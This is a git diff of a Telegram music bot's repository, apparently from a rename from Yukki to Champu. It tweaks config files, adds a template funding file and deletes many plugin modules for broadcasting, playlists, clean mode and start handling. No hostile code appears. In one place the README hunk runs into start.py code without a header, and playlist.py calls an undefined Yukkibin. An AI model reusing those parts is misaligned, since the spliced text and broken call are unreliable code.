diff --git a/.dockerignore b/.dockerignore index 0963439..fe58f98 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,6 +1,6 @@ .env .cache -Yukkilogs.txt +log.txt .DS_Store *.session raw_files/ diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..1c5dff5 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,14 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry +custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] +# diff --git a/.github/README.md b/.github/README.md index 31e193d..917e22a 100644 --- a/.github/README.md +++ b/.github/README.md @@ -1,36 +1,51 @@ -
-
+
SUDOLIST
\n\n**USER ID:** {sender_id}\n**USER NAME:** {sender_name}",
- )
- return
- if name[0:3] == "lyr":
- query = (str(name)).replace("lyrics_", "", 1)
- lyrical = config.lyrical
- lyrics = lyrical.get(query)
- if lyrics:
- return await Telegram.send_split_text(message, lyrics)
- else:
- return await message.reply_text(
- "Failed to get lyrics."
- )
- if name[0:3] == "del":
- await del_plist_msg(client=client, message=message, _=_)
- if name[0:3] == "inf":
- m = await message.reply_text("🔎 Fetching Info!")
- query = (str(name)).replace("info_", "", 1)
- query = f"https://www.youtube.com/watch?v={query}"
- results = VideosSearch(query, limit=1)
- for result in (await results.next())["result"]:
- title = result["title"]
- duration = result["duration"]
- views = result["viewCount"]["short"]
- thumbnail = result["thumbnails"][0]["url"].split("?")[
- 0
- ]
- channellink = result["channel"]["link"]
- channel = result["channel"]["name"]
- link = result["link"]
- published = result["publishedTime"]
- searched_text = f"""
-🔍__**Video Track Information**__
-
-❇️**Title:** {title}
-
-⏳**Duration:** {duration} Mins
-👀**Views:** `{views}`
-⏰**Published Time:** {published}
-🎥**Channel Name:** {channel}
-📎**Channel Link:** [Visit From Here]({channellink})
-🔗**Video Link:** [Link]({link})
-
-⚡️ __Searched Powered By {config.MUSIC_BOT_NAME}__"""
- key = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text="🎥 Watch ", url=f"{link}"
- ),
- InlineKeyboardButton(
- text="🔄 Close", callback_data="close"
- ),
- ],
- ]
- )
- await m.delete()
- await app.send_photo(
- message.chat.id,
- photo=thumbnail,
- caption=searched_text,
- parse_mode="markdown",
- reply_markup=key,
- )
- if await is_on_off(config.LOG):
- sender_id = message.from_user.id
- sender_name = message.from_user.first_name
- return await app.send_message(
- config.LOG_GROUP_ID,
- f"{message.from_user.mention} has just started bot to check VIDEO INFORMATION
\n\n**USER ID:** {sender_id}\n**USER NAME:** {sender_name}",
- )
- else:
- try:
- await app.resolve_peer(OWNER_ID[0])
- OWNER = OWNER_ID[0]
- except:
- OWNER = None
- out = private_panel(_, app.username, OWNER)
- if config.START_IMG_URL:
- try:
- await message.reply_photo(
- photo=config.START_IMG_URL,
- caption=_["start_2"].format(
- config.MUSIC_BOT_NAME
- ),
- reply_markup=InlineKeyboardMarkup(out),
- )
- except:
- await message.reply_text(
- _["start_2"].format(config.MUSIC_BOT_NAME),
- reply_markup=InlineKeyboardMarkup(out),
- )
- else:
- await message.reply_text(
- _["start_2"].format(config.MUSIC_BOT_NAME),
- reply_markup=InlineKeyboardMarkup(out),
- )
- if await is_on_off(config.LOG):
- sender_id = message.from_user.id
- sender_name = message.from_user.first_name
- return await app.send_message(
- config.LOG_GROUP_ID,
- f"{message.from_user.mention} has just started Bot.\n\n**USER ID:** {sender_id}\n**USER NAME:** {sender_name}",
- )
-
-
-@app.on_message(
- filters.command(get_command("START_COMMAND"))
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@LanguageStart
-async def testbot(client, message: Message, _):
- out = start_pannel(_)
- return await message.reply_text(
- _["start_1"].format(
- message.chat.title, config.MUSIC_BOT_NAME
- ),
- reply_markup=InlineKeyboardMarkup(out),
- )
-
-
-welcome_group = 2
-
-
-@app.on_message(filters.new_chat_members, group=welcome_group)
-async def welcome(client, message: Message):
- chat_id = message.chat.id
- if config.PRIVATE_BOT_MODE == str(True):
- if not await is_served_private_chat(message.chat.id):
- await message.reply_text(
- "**Private Music Bot**\n\nOnly for authorized chats from the owner. Ask my owner to allow your chat first."
- )
- return await app.leave_chat(message.chat.id)
- else:
- await add_served_chat(chat_id)
- for member in message.new_chat_members:
- try:
- language = await get_lang(message.chat.id)
- _ = get_string(language)
- if member.id == app.id:
- chat_type = message.chat.type
- if chat_type != "supergroup":
- await message.reply_text(_["start_6"])
- return await app.leave_chat(message.chat.id)
- if chat_id in await blacklisted_chats():
- await message.reply_text(
- _["start_7"].format(
- f"https://t.me/{app.username}?start=sudolist"
- )
- )
- return await app.leave_chat(chat_id)
- userbot = await get_assistant(message.chat.id)
- out = start_pannel(_)
- await message.reply_text(
- _["start_3"].format(
- config.MUSIC_BOT_NAME,
- userbot.username,
- userbot.id,
- ),
- reply_markup=InlineKeyboardMarkup(out),
- )
- if member.id in config.OWNER_ID:
- return await message.reply_text(
- _["start_4"].format(
- config.MUSIC_BOT_NAME, member.mention
- )
- )
- if member.id in SUDOERS:
- return await message.reply_text(
- _["start_5"].format(
- config.MUSIC_BOT_NAME, member.mention
- )
- )
- return
- except:
- return
diff --git a/Champu/plugins/misc/cleanmode.py b/Champu/plugins/misc/cleanmode.py
deleted file mode 100644
index e2128e4..0000000
--- a/Champu/plugins/misc/cleanmode.py
+++ /dev/null
@@ -1,270 +0,0 @@
-import asyncio
-from datetime import datetime, timedelta
-
-from pyrogram import filters
-from pyrogram.errors import FloodWait
-from pyrogram.raw import types
-
-import config
-from config import adminlist, chatstats, clean, userstats
-from strings import get_command
-from Champu import app, userbot
-from Champu.misc import SUDOERS
-from Champu.utils.database import (get_active_chats,
- get_authuser_names, get_client,
- get_particular_top,
- get_served_chats,
- get_served_users, get_user_top,
- is_cleanmode_on, set_queries,
- update_particular_top,
- update_user_top)
-from Champu.utils.decorators.language import language
-from Champu.utils.formatters import alpha_to_int
-
-BROADCAST_COMMAND = get_command("BROADCAST_COMMAND")
-AUTO_DELETE = config.CLEANMODE_DELETE_MINS
-AUTO_SLEEP = 5
-IS_BROADCASTING = False
-cleanmode_group = 15
-
-
-@app.on_raw_update(group=cleanmode_group)
-async def clean_mode(client, update, users, chats):
- global IS_BROADCASTING
- if IS_BROADCASTING:
- return
- try:
- if not isinstance(update, types.UpdateReadChannelOutbox):
- return
- except:
- return
- if users:
- return
- if chats:
- return
- message_id = update.max_id
- chat_id = int(f"-100{update.channel_id}")
- if not await is_cleanmode_on(chat_id):
- return
- if chat_id not in clean:
- clean[chat_id] = []
- time_now = datetime.now()
- put = {
- "msg_id": message_id,
- "timer_after": time_now + timedelta(minutes=AUTO_DELETE),
- }
- clean[chat_id].append(put)
- await set_queries(1)
-
-
-@app.on_message(filters.command(BROADCAST_COMMAND) & SUDOERS)
-@language
-async def braodcast_message(client, message, _):
- global IS_BROADCASTING
- if message.reply_to_message:
- x = message.reply_to_message.message_id
- y = message.chat.id
- else:
- if len(message.command) < 2:
- return await message.reply_text(_["broad_5"])
- query = message.text.split(None, 1)[1]
- if "-pin" in query:
- query = query.replace("-pin", "")
- if "-nobot" in query:
- query = query.replace("-nobot", "")
- if "-pinloud" in query:
- query = query.replace("-pinloud", "")
- if "-assistant" in query:
- query = query.replace("-assistant", "")
- if "-user" in query:
- query = query.replace("-user", "")
- if query == "":
- return await message.reply_text(_["broad_6"])
-
- IS_BROADCASTING = True
-
- # Bot broadcast inside chats
- if "-nobot" not in message.text:
- sent = 0
- pin = 0
- chats = []
- schats = await get_served_chats()
- for chat in schats:
- chats.append(int(chat["chat_id"]))
- for i in chats:
- if i == -1001733534088:
- continue
- try:
- m = (
- await app.forward_messages(i, y, x)
- if message.reply_to_message
- else await app.send_message(i, text=query)
- )
- if "-pin" in message.text:
- try:
- await m.pin(disable_notification=True)
- pin += 1
- except Exception:
- continue
- elif "-pinloud" in message.text:
- try:
- await m.pin(disable_notification=False)
- pin += 1
- except Exception:
- continue
- sent += 1
- except FloodWait as e:
- flood_time = int(e.x)
- if flood_time > 200:
- continue
- await asyncio.sleep(flood_time)
- except Exception:
- continue
- try:
- await message.reply_text(_["broad_1"].format(sent, pin))
- except:
- pass
-
- # Bot broadcasting to users
- if "-user" in message.text:
- susr = 0
- served_users = []
- susers = await get_served_users()
- for user in susers:
- served_users.append(int(user["user_id"]))
- for i in served_users:
- try:
- m = (
- await app.forward_messages(i, y, x)
- if message.reply_to_message
- else await app.send_message(i, text=query)
- )
- susr += 1
- except FloodWait as e:
- flood_time = int(e.x)
- if flood_time > 200:
- continue
- await asyncio.sleep(flood_time)
- except Exception:
- pass
- try:
- await message.reply_text(_["broad_7"].format(susr))
- except:
- pass
-
- # Bot broadcasting by assistant
- if "-assistant" in message.text:
- aw = await message.reply_text(_["broad_2"])
- text = _["broad_3"]
- from Champu.core.userbot import assistants
-
- for num in assistants:
- sent = 0
- client = await get_client(num)
- async for dialog in client.iter_dialogs():
- if dialog.chat.id == -1001733534088:
- continue
- try:
- await client.forward_messages(
- dialog.chat.id, y, x
- ) if message.reply_to_message else await client.send_message(
- dialog.chat.id, text=query
- )
- sent += 1
- except FloodWait as e:
- flood_time = int(e.x)
- if flood_time > 200:
- continue
- await asyncio.sleep(flood_time)
- except Exception as e:
- print(e)
- continue
- text += _["broad_4"].format(num, sent)
- try:
- await aw.edit_text(text)
- except:
- pass
- IS_BROADCASTING = False
-
-
-async def auto_clean():
- while not await asyncio.sleep(AUTO_SLEEP):
- try:
- for chat_id in chatstats:
- for dic in chatstats[chat_id]:
- vidid = dic["vidid"]
- title = dic["title"]
- chatstats[chat_id].pop(0)
- spot = await get_particular_top(chat_id, vidid)
- if spot:
- spot = spot["spot"]
- next_spot = spot + 1
- new_spot = {"spot": next_spot, "title": title}
- await update_particular_top(
- chat_id, vidid, new_spot
- )
- else:
- next_spot = 1
- new_spot = {"spot": next_spot, "title": title}
- await update_particular_top(
- chat_id, vidid, new_spot
- )
- for user_id in userstats:
- for dic in userstats[user_id]:
- vidid = dic["vidid"]
- title = dic["title"]
- userstats[user_id].pop(0)
- spot = await get_user_top(user_id, vidid)
- if spot:
- spot = spot["spot"]
- next_spot = spot + 1
- new_spot = {"spot": next_spot, "title": title}
- await update_user_top(
- user_id, vidid, new_spot
- )
- else:
- next_spot = 1
- new_spot = {"spot": next_spot, "title": title}
- await update_user_top(
- user_id, vidid, new_spot
- )
- except:
- continue
- try:
- for chat_id in clean:
- if chat_id == config.LOG_GROUP_ID:
- continue
- for x in clean[chat_id]:
- if datetime.now() > x["timer_after"]:
- try:
- await app.delete_messages(
- chat_id, x["msg_id"]
- )
- except FloodWait as e:
- await asyncio.sleep(e.x)
- except:
- continue
- else:
- continue
- except:
- continue
- try:
- served_chats = await get_active_chats()
- for chat_id in served_chats:
- if chat_id not in adminlist:
- adminlist[chat_id] = []
- admins = await app.get_chat_members(
- chat_id, filter="administrators"
- )
- for user in admins:
- if user.can_manage_voice_chats:
- adminlist[chat_id].append(user.user.id)
- authusers = await get_authuser_names(chat_id)
- for user in authusers:
- user_id = await alpha_to_int(user)
- adminlist[chat_id].append(user_id)
- except:
- continue
-
-
-asyncio.create_task(auto_clean())
diff --git a/Champu/plugins/misc/seeker.py b/Champu/plugins/misc/seeker.py
deleted file mode 100644
index 2cc5666..0000000
--- a/Champu/plugins/misc/seeker.py
+++ /dev/null
@@ -1,94 +0,0 @@
-import asyncio
-
-from pyrogram.types import InlineKeyboardMarkup
-
-from strings import get_string
-from Champu.misc import db
-from Champu.utils.database import (get_active_chats, get_lang,
- is_music_playing)
-from Champu.utils.formatters import seconds_to_min
-from Champu.utils.inline import (stream_markup_timer,
- telegram_markup_timer)
-
-from ..admins.callback import wrong
-
-checker = {}
-
-
-async def timer():
- while not await asyncio.sleep(1):
- active_chats = await get_active_chats()
- for chat_id in active_chats:
- if not await is_music_playing(chat_id):
- continue
- playing = db.get(chat_id)
- if not playing:
- continue
- file_path = playing[0]["file"]
- if "index_" in file_path or "live_" in file_path:
- continue
- duration = int(playing[0]["seconds"])
- if duration == 0:
- continue
- db[chat_id][0]["played"] += 1
-
-
-asyncio.create_task(timer())
-
-
-async def markup_timer():
- while not await asyncio.sleep(4):
- active_chats = await get_active_chats()
- for chat_id in active_chats:
- try:
- if not await is_music_playing(chat_id):
- continue
- playing = db.get(chat_id)
- if not playing:
- continue
- duration_seconds = int(playing[0]["seconds"])
- if duration_seconds == 0:
- continue
- try:
- mystic = playing[0]["mystic"]
- markup = playing[0]["markup"]
- except:
- continue
- try:
- check = wrong[chat_id][mystic.message_id]
- if check is False:
- continue
- except:
- pass
- try:
- language = await get_lang(chat_id)
- _ = get_string(language)
- except:
- _ = get_string("en")
- try:
- buttons = (
- stream_markup_timer(
- _,
- playing[0]["vidid"],
- chat_id,
- seconds_to_min(playing[0]["played"]),
- playing[0]["dur"],
- )
- if markup == "stream"
- else telegram_markup_timer(
- _,
- chat_id,
- seconds_to_min(playing[0]["played"]),
- playing[0]["dur"],
- )
- )
- await mystic.edit_reply_markup(
- reply_markup=InlineKeyboardMarkup(buttons)
- )
- except:
- continue
- except:
- continue
-
-
-asyncio.create_task(markup_timer())
diff --git a/Champu/plugins/misc/suggestion.py b/Champu/plugins/misc/suggestion.py
deleted file mode 100644
index 44821e6..0000000
--- a/Champu/plugins/misc/suggestion.py
+++ /dev/null
@@ -1,80 +0,0 @@
-import asyncio
-import random
-from datetime import datetime, timedelta
-
-import config
-from config import clean
-from strings import get_string
-from Champu import app
-from Champu.utils.database import (get_lang,
- get_private_served_chats,
- get_served_chats,
- is_suggestion)
-
-LEAVE_TIME = config.AUTO_SUGGESTION_TIME
-
-
-strings = []
-suggestor = {}
-
-for item in get_string("en"):
- if item[0:3] == "sug" and item != "sug_0":
- strings.append(item)
-
-
-async def dont_do_this():
- if config.AUTO_SUGGESTION_MODE == str(True):
- while not await asyncio.sleep(LEAVE_TIME):
- try:
- chats = []
- if config.PRIVATE_BOT_MODE == str(True):
- schats = await get_private_served_chats()
- else:
- schats = await get_served_chats()
- for chat in schats:
- chats.append(int(chat["chat_id"]))
- total = len(chats)
- if total >= 100:
- total //= 10
- send_to = 0
- random.shuffle(chats)
- for x in chats:
- if send_to == total:
- break
- if x == config.LOG_GROUP_ID:
- continue
- if not await is_suggestion(x):
- continue
- try:
- language = await get_lang(x)
- _ = get_string(language)
- except:
- _ = get_string("en")
- string = random.choice(strings)
- previous = suggestor.get(x)
- if previous:
- while previous == (string.split("_")[1]):
- string = random.choice(strings)
- suggestor[x] = string.split("_")[1]
- try:
- msg = _["sug_0"] + _[string]
- sent = await app.send_message(x, msg)
- if x not in clean:
- clean[x] = []
- time_now = datetime.now()
- put = {
- "msg_id": sent.message_id,
- "timer_after": time_now
- + timedelta(
- minutes=config.CLEANMODE_DELETE_MINS
- ),
- }
- clean[x].append(put)
- send_to += 1
- except:
- pass
- except:
- pass
-
-
-asyncio.create_task(dont_do_this())
diff --git a/Champu/plugins/play/channel.py b/Champu/plugins/play/channel.py
deleted file mode 100644
index e8bbc06..0000000
--- a/Champu/plugins/play/channel.py
+++ /dev/null
@@ -1,68 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-from config import BANNED_USERS
-from strings import get_command
-from Champu import app
-from Champu.utils.database import set_cmode
-from Champu.utils.decorators.admins import AdminActual
-
-### Multi-Lang Commands
-CHANNELPLAY_COMMAND = get_command("CHANNELPLAY_COMMAND")
-
-
-@app.on_message(
- filters.command(CHANNELPLAY_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@AdminActual
-async def playmode_(client, message: Message, _):
- if len(message.command) < 2:
- return await message.reply_text(
- _["cplay_1"].format(
- message.chat.title, CHANNELPLAY_COMMAND[0]
- )
- )
- query = message.text.split(None, 2)[1].lower().strip()
- if (str(query)).lower() == "disable":
- await set_cmode(message.chat.id, None)
- return await message.reply_text("Channel Play Disabled")
- elif str(query) == "linked":
- chat = await app.get_chat(message.chat.id)
- if chat.linked_chat:
- chat_id = chat.linked_chat.id
- await set_cmode(message.chat.id, chat_id)
- return await message.reply_text(
- _["cplay_3"].format(
- chat.linked_chat.title, chat.linked_chat.id
- )
- )
- else:
- return await message.reply_text(_["cplay_2"])
- else:
- try:
- chat = await app.get_chat(query)
- except:
- return await message.reply_text(_["cplay_4"])
- if chat.type != "channel":
- return await message.reply_text(_["cplay_5"])
- try:
- admins = await app.get_chat_members(
- chat.id, filter="administrators"
- )
- except:
- return await message.reply_text(_["cplay_4"])
- for users in admins:
- if users.status == "creator":
- creatorusername = users.user.username
- creatorid = users.user.id
- if creatorid != message.from_user.id:
- return await message.reply_text(
- _["cplay_6"].format(chat.title, creatorusername)
- )
- await set_cmode(message.chat.id, chat.id)
- return await message.reply_text(
- _["cplay_3"].format(chat.title, chat.id)
- )
diff --git a/Champu/plugins/play/playlist.py b/Champu/plugins/play/playlist.py
deleted file mode 100644
index 64a6980..0000000
--- a/Champu/plugins/play/playlist.py
+++ /dev/null
@@ -1,332 +0,0 @@
-import os
-from random import randint
-
-from pykeyboard import InlineKeyboard
-from pyrogram import filters
-from pyrogram.types import (InlineKeyboardButton,
- InlineKeyboardMarkup, Message)
-
-from config import BANNED_USERS, SERVER_PLAYLIST_LIMIT
-from strings import get_command
-from Champu import Carbon, YouTube, app
-from Champu.utils.database import (delete_playlist, get_playlist,
- get_playlist_names,
- save_playlist)
-from Champu.utils.decorators.language import language, languageCB
-from Champu.utils.inline.playlist import (botplaylist_markup,
- get_playlist_markup,
- warning_markup)
-from Champu.utils.pastebin import Champubin
-from Champu.utils.stream.stream import stream
-
-# Command
-PLAYLIST_COMMAND = get_command("PLAYLIST_COMMAND")
-DELETEPLAYLIST_COMMAND = get_command("DELETEPLAYLIST_COMMAND")
-
-
-@app.on_message(
- filters.command(PLAYLIST_COMMAND)
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def check_playlist(client, message: Message, _):
- _playlist = await get_playlist_names(message.from_user.id)
- if _playlist:
- get = await message.reply_text(_["playlist_2"])
- else:
- return await message.reply_text(_["playlist_3"])
- msg = _["playlist_4"]
- count = 0
- for shikhar in _playlist:
- _note = await get_playlist(message.from_user.id, shikhar)
- title = _note["title"]
- title = title.title()
- duration = _note["duration"]
- count += 1
- msg += f"\n\n{count}- {title[:70]}\n"
- msg += _["playlist_5"].format(duration)
- link = await Yukkibin(msg)
- lines = msg.count("\n")
- if lines >= 17:
- car = os.linesep.join(msg.split(os.linesep)[:17])
- else:
- car = msg
- carbon = await Carbon.generate(car, randint(100, 10000000000))
- await get.delete()
- await message.reply_photo(
- carbon, caption=_["playlist_15"].format(link)
- )
-
-
-@app.on_message(
- filters.command(DELETEPLAYLIST_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def del_group_message(client, message: Message, _):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["PL_B_6"],
- url=f"https://t.me/{app.username}?start=delplaylists",
- ),
- ]
- ]
- )
- await message.reply_text(_["playlist_6"], reply_markup=upl)
-
-
-async def get_keyboard(_, user_id):
- keyboard = InlineKeyboard(row_width=5)
- _playlist = await get_playlist_names(user_id)
- count = len(_playlist)
- for x in _playlist:
- _note = await get_playlist(user_id, x)
- title = _note["title"]
- title = title.title()
- keyboard.row(
- InlineKeyboardButton(
- text=title,
- callback_data=f"del_playlist {x}",
- )
- )
- keyboard.row(
- InlineKeyboardButton(
- text=_["PL_B_5"],
- callback_data=f"delete_warning",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data=f"close"
- ),
- )
- return keyboard, count
-
-
-@app.on_message(
- filters.command(DELETEPLAYLIST_COMMAND)
- & filters.private
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def del_plist_msg(client, message: Message, _):
- _playlist = await get_playlist_names(message.from_user.id)
- if _playlist:
- get = await message.reply_text(_["playlist_2"])
- else:
- return await message.reply_text(_["playlist_3"])
- keyboard, count = await get_keyboard(_, message.from_user.id)
- await get.edit_text(
- _["playlist_7"].format(count), reply_markup=keyboard
- )
-
-
-@app.on_callback_query(filters.regex("play_playlist") & ~BANNED_USERS)
-@languageCB
-async def play_playlist(client, CallbackQuery, _):
- callback_data = CallbackQuery.data.strip()
- mode = callback_data.split(None, 1)[1]
- user_id = CallbackQuery.from_user.id
- _playlist = await get_playlist_names(user_id)
- if not _playlist:
- try:
- return await CallbackQuery.answer(
- _["playlist_3"],
- show_alert=True,
- )
- except:
- return
- chat_id = CallbackQuery.message.chat.id
- user_name = CallbackQuery.from_user.first_name
- await CallbackQuery.message.delete()
- result = []
- try:
- await CallbackQuery.answer()
- except:
- pass
- video = True if mode == "v" else None
- mystic = await CallbackQuery.message.reply_text(_["play_1"])
- for vidids in _playlist:
- result.append(vidids)
- try:
- await stream(
- _,
- mystic,
- user_id,
- result,
- chat_id,
- user_name,
- CallbackQuery.message.chat.id,
- video,
- streamtype="playlist",
- )
- except Exception as e:
- ex_type = type(e).__name__
- err = (
- e
- if ex_type == "AssistantErr"
- else _["general_3"].format(ex_type)
- )
- return await mystic.edit_text(err)
- return await mystic.delete()
-
-
-@app.on_callback_query(filters.regex("add_playlist") & ~BANNED_USERS)
-@languageCB
-async def add_playlist(client, CallbackQuery, _):
- callback_data = CallbackQuery.data.strip()
- videoid = callback_data.split(None, 1)[1]
- user_id = CallbackQuery.from_user.id
- _check = await get_playlist(user_id, videoid)
- if _check:
- try:
- return await CallbackQuery.answer(
- _["playlist_8"], show_alert=True
- )
- except:
- return
- _count = await get_playlist_names(user_id)
- count = len(_count)
- if count == SERVER_PLAYLIST_LIMIT:
- try:
- return await CallbackQuery.answer(
- _["playlist_9"].format(SERVER_PLAYLIST_LIMIT),
- show_alert=True,
- )
- except:
- return
- (
- title,
- duration_min,
- duration_sec,
- thumbnail,
- vidid,
- ) = await YouTube.details(videoid, True)
- title = (title[:50]).title()
- plist = {
- "videoid": vidid,
- "title": title,
- "duration": duration_min,
- }
- await save_playlist(user_id, videoid, plist)
- try:
- title = (title[:30]).title()
- return await CallbackQuery.answer(
- _["playlist_10"].format(title), show_alert=True
- )
- except:
- return
-
-
-@app.on_callback_query(filters.regex("del_playlist") & ~BANNED_USERS)
-@languageCB
-async def del_plist(client, CallbackQuery, _):
- callback_data = CallbackQuery.data.strip()
- videoid = callback_data.split(None, 1)[1]
- user_id = CallbackQuery.from_user.id
- deleted = await delete_playlist(
- CallbackQuery.from_user.id, videoid
- )
- if deleted:
- try:
- await CallbackQuery.answer(
- _["playlist_11"], show_alert=True
- )
- except:
- pass
- else:
- try:
- return await CallbackQuery.answer(
- _["playlist_12"], show_alert=True
- )
- except:
- return
- keyboard, count = await get_keyboard(_, user_id)
- return await CallbackQuery.edit_message_reply_markup(
- reply_markup=keyboard
- )
-
-
-@app.on_callback_query(
- filters.regex("delete_whole_playlist") & ~BANNED_USERS
-)
-@languageCB
-async def del_whole_playlist(client, CallbackQuery, _):
- _playlist = await get_playlist_names(CallbackQuery.from_user.id)
- for x in _playlist:
- await delete_playlist(CallbackQuery.from_user.id, x)
- return await CallbackQuery.edit_message_text(_["playlist_13"])
-
-
-@app.on_callback_query(
- filters.regex("get_playlist_playmode") & ~BANNED_USERS
-)
-@languageCB
-async def get_playlist_playmode_(client, CallbackQuery, _):
- try:
- await CallbackQuery.answer()
- except:
- pass
- buttons = get_playlist_markup(_)
- return await CallbackQuery.edit_message_reply_markup(
- reply_markup=InlineKeyboardMarkup(buttons)
- )
-
-
-@app.on_callback_query(
- filters.regex("delete_warning") & ~BANNED_USERS
-)
-@languageCB
-async def delete_warning_message(client, CallbackQuery, _):
- try:
- await CallbackQuery.answer()
- except:
- pass
- upl = warning_markup(_)
- return await CallbackQuery.edit_message_text(
- _["playlist_14"], reply_markup=upl
- )
-
-
-@app.on_callback_query(filters.regex("home_play") & ~BANNED_USERS)
-@languageCB
-async def home_play_(client, CallbackQuery, _):
- try:
- await CallbackQuery.answer()
- except:
- pass
- buttons = botplaylist_markup(_)
- return await CallbackQuery.edit_message_reply_markup(
- reply_markup=InlineKeyboardMarkup(buttons)
- )
-
-
-@app.on_callback_query(
- filters.regex("del_back_playlist") & ~BANNED_USERS
-)
-@languageCB
-async def del_back_playlist(client, CallbackQuery, _):
- user_id = CallbackQuery.from_user.id
- _playlist = await get_playlist_names(user_id)
- if _playlist:
- try:
- await CallbackQuery.answer(
- _["playlist_2"], show_alert=True
- )
- except:
- pass
- else:
- try:
- return await CallbackQuery.answer(
- _["playlist_3"], show_alert=True
- )
- except:
- return
- keyboard, count = await get_keyboard(_, user_id)
- return await CallbackQuery.edit_message_text(
- _["playlist_7"].format(count), reply_markup=keyboard
- )
diff --git a/Champu/plugins/play/toptracks.py b/Champu/plugins/play/toptracks.py
deleted file mode 100644
index 92b5bef..0000000
--- a/Champu/plugins/play/toptracks.py
+++ /dev/null
@@ -1,134 +0,0 @@
-import asyncio
-
-from pyrogram import filters
-from pyrogram.types import InlineKeyboardMarkup
-
-from config import BANNED_USERS
-from Champu import app
-from Champu.utils.database import (get_global_tops,
- get_particulars, get_userss)
-from Champu.utils.decorators.language import languageCB
-from Champu.utils.inline.playlist import (botplaylist_markup,
- failed_top_markup,
- top_play_markup)
-from Champu.utils.stream.stream import stream
-
-loop = asyncio.get_running_loop()
-
-
-@app.on_callback_query(
- filters.regex("get_playmarkup") & ~BANNED_USERS
-)
-@languageCB
-async def get_play_markup(client, CallbackQuery, _):
- try:
- await CallbackQuery.answer()
- except:
- pass
- buttons = botplaylist_markup(_)
- return await CallbackQuery.edit_message_reply_markup(
- reply_markup=InlineKeyboardMarkup(buttons)
- )
-
-
-@app.on_callback_query(
- filters.regex("get_top_playlists") & ~BANNED_USERS
-)
-@languageCB
-async def get_topz_playlists(client, CallbackQuery, _):
- try:
- await CallbackQuery.answer()
- except:
- pass
- buttons = top_play_markup(_)
- return await CallbackQuery.edit_message_reply_markup(
- reply_markup=InlineKeyboardMarkup(buttons)
- )
-
-
-@app.on_callback_query(filters.regex("SERVERTOP") & ~BANNED_USERS)
-@languageCB
-async def server_to_play(client, CallbackQuery, _):
- chat_id = CallbackQuery.message.chat.id
- user_name = CallbackQuery.from_user.first_name
- try:
- await CallbackQuery.answer()
- except:
- pass
- callback_data = CallbackQuery.data.strip()
- what = callback_data.split(None, 1)[1]
- mystic = await CallbackQuery.edit_message_text(
- _["tracks_1"].format(
- what,
- CallbackQuery.from_user.first_name,
- )
- )
- upl = failed_top_markup(_)
- if what == "Global":
- stats = await get_global_tops()
- elif what == "Group":
- stats = await get_particulars(chat_id)
- elif what == "Personal":
- stats = await get_userss(CallbackQuery.from_user.id)
- if not stats:
- return await mystic.edit(
- _["tracks_2"].format(what), reply_markup=upl
- )
-
- def get_stats():
- results = {}
- for i in stats:
- top_list = stats[i]["spot"]
- results[str(i)] = top_list
- list_arranged = dict(
- sorted(
- results.items(),
- key=lambda item: item[1],
- reverse=True,
- )
- )
- if not results:
- return mystic.edit(
- _["tracks_2"].format(what), reply_markup=upl
- )
- details = []
- limit = 0
- for vidid, count in list_arranged.items():
- if vidid == "telegram":
- continue
- if limit == 10:
- break
- limit += 1
- details.append(vidid)
- if not details:
- return mystic.edit(
- _["tracks_2"].format(what), reply_markup=upl
- )
- return details
-
- try:
- details = await loop.run_in_executor(None, get_stats)
- except Exception as e:
- print(e)
- return
- try:
- await stream(
- _,
- mystic,
- CallbackQuery.from_user.id,
- details,
- chat_id,
- user_name,
- CallbackQuery.message.chat.id,
- video=False,
- streamtype="playlist",
- )
- except Exception as e:
- ex_type = type(e).__name__
- err = (
- e
- if ex_type == "AssistantErr"
- else _["general_3"].format(ex_type)
- )
- return await mystic.edit_text(err)
- return await mystic.delete()
diff --git a/Champu/plugins/sudo/autoend.py b/Champu/plugins/sudo/autoend.py
deleted file mode 100644
index ad7a653..0000000
--- a/Champu/plugins/sudo/autoend.py
+++ /dev/null
@@ -1,30 +0,0 @@
-from pyrogram import filters
-
-import config
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import autoend_off, autoend_on
-from Champu.utils.decorators.language import language
-
-# Commands
-AUTOEND_COMMAND = get_command("AUTOEND_COMMAND")
-
-
-@app.on_message(filters.command(AUTOEND_COMMAND) & SUDOERS)
-async def auto_end_stream(client, message):
- usage = "**Usage:**\n\n/autoend [enable|disable]"
- if len(message.command) != 2:
- return await message.reply_text(usage)
- state = message.text.split(None, 1)[1].strip()
- state = state.lower()
- if state == "enable":
- await autoend_on()
- await message.reply_text(
- "Auto End Stream Enabled.\n\nBot will leave voice chat automatically after 3 mins if no one is listening with a warning message.."
- )
- elif state == "disable":
- await autoend_off()
- await message.reply_text("Auto End Stream Disabled.")
- else:
- await message.reply_text(usage)
diff --git a/Champu/plugins/sudo/block.py b/Champu/plugins/sudo/block.py
deleted file mode 100644
index f69620a..0000000
--- a/Champu/plugins/sudo/block.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-from config import BANNED_USERS
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import add_gban_user, remove_gban_user
-from Champu.utils.decorators.language import language
-
